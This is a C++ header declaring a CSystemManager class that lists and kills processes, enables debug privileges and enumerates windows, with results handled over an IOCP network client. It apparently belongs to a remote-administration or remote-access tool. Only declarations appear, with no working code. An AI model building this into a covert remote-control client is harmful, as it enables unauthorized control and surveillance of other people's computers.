// SystemManager.h: interface for the CSystemManager class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) #define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "Manager.h" #include "IOCPClient.h" class CSystemManager : public CManager { public: CSystemManager(IOCPClient* ClientObject,BOOL bHow); virtual ~CSystemManager(); LPBYTE CSystemManager::GetProcessList(); VOID CSystemManager::SendProcessList(); BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength); LPBYTE CSystemManager::GetWindowsList(); static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam); void CSystemManager::SendWindowsList(); void CSystemManager::TestWindow(LPBYTE szBuffer); }; #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)